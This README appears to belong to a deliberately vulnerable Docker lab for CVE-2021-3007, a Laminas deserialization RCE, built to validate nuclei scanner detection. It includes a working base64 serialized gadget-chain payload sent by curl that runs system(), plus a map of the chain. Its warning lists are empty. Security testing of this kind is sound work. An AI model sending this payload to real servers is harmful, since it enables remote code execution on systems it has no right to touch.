kre80r/cve-2021-3007-vulnerableCVE-2021-3007 Ambiente di test vulnerabile - Laminas/Zend Framework Deserializzazione RCE
Ambiente di test volutamente vulnerabile per la validazione del rilevamento di CVE-2021-3007 negli scanner di sicurezza.
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2021-3007 |
| Gravità | Critica (CVSS 9.8) |
| Tipo | Deserializzazione non sicura → RCE |
| Componenti interessati | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (Deserializzazione di dati non attendibili) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Expected: Response contains "nucleiCVE20213007" confirming RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| Pacchetto | Versione | Scopo |
|---|---|---|
| laminas/laminas-http | 2.14.1 | Componente HTTP vulnerabile |
| laminas/laminas-view | 2.12.0 | Componente della catena gadget |
| laminas/laminas-config | 3.7.0 | Componente della catena gadget |
L'applicazione accetta dati serializzati tramite POST:
/ o /index.phpdata, payload, serialized| Componente | Valore |
|---|---|
| Immagine di base | php:8.1-apache |
| Porta | 8080 |
| Container | cve-2021-3007-vulnerable |
.
├── Dockerfile # Container build configuration
├── docker-compose.yml # Orchestration (one-shot setup)
├── index.php # Vulnerable PHP application
├── LICENSE # MIT License
└── README.md # This file
ATTENZIONE: Questo ambiente è volutamente vulnerabile esclusivamente a scopo di test di sicurezza.
NON:
FARE:
Licenza MIT - Solo per scopi di ricerca sulla sicurezza e formazione.
Creato per la validazione del template nuclei | projectdiscovery/nuclei-templates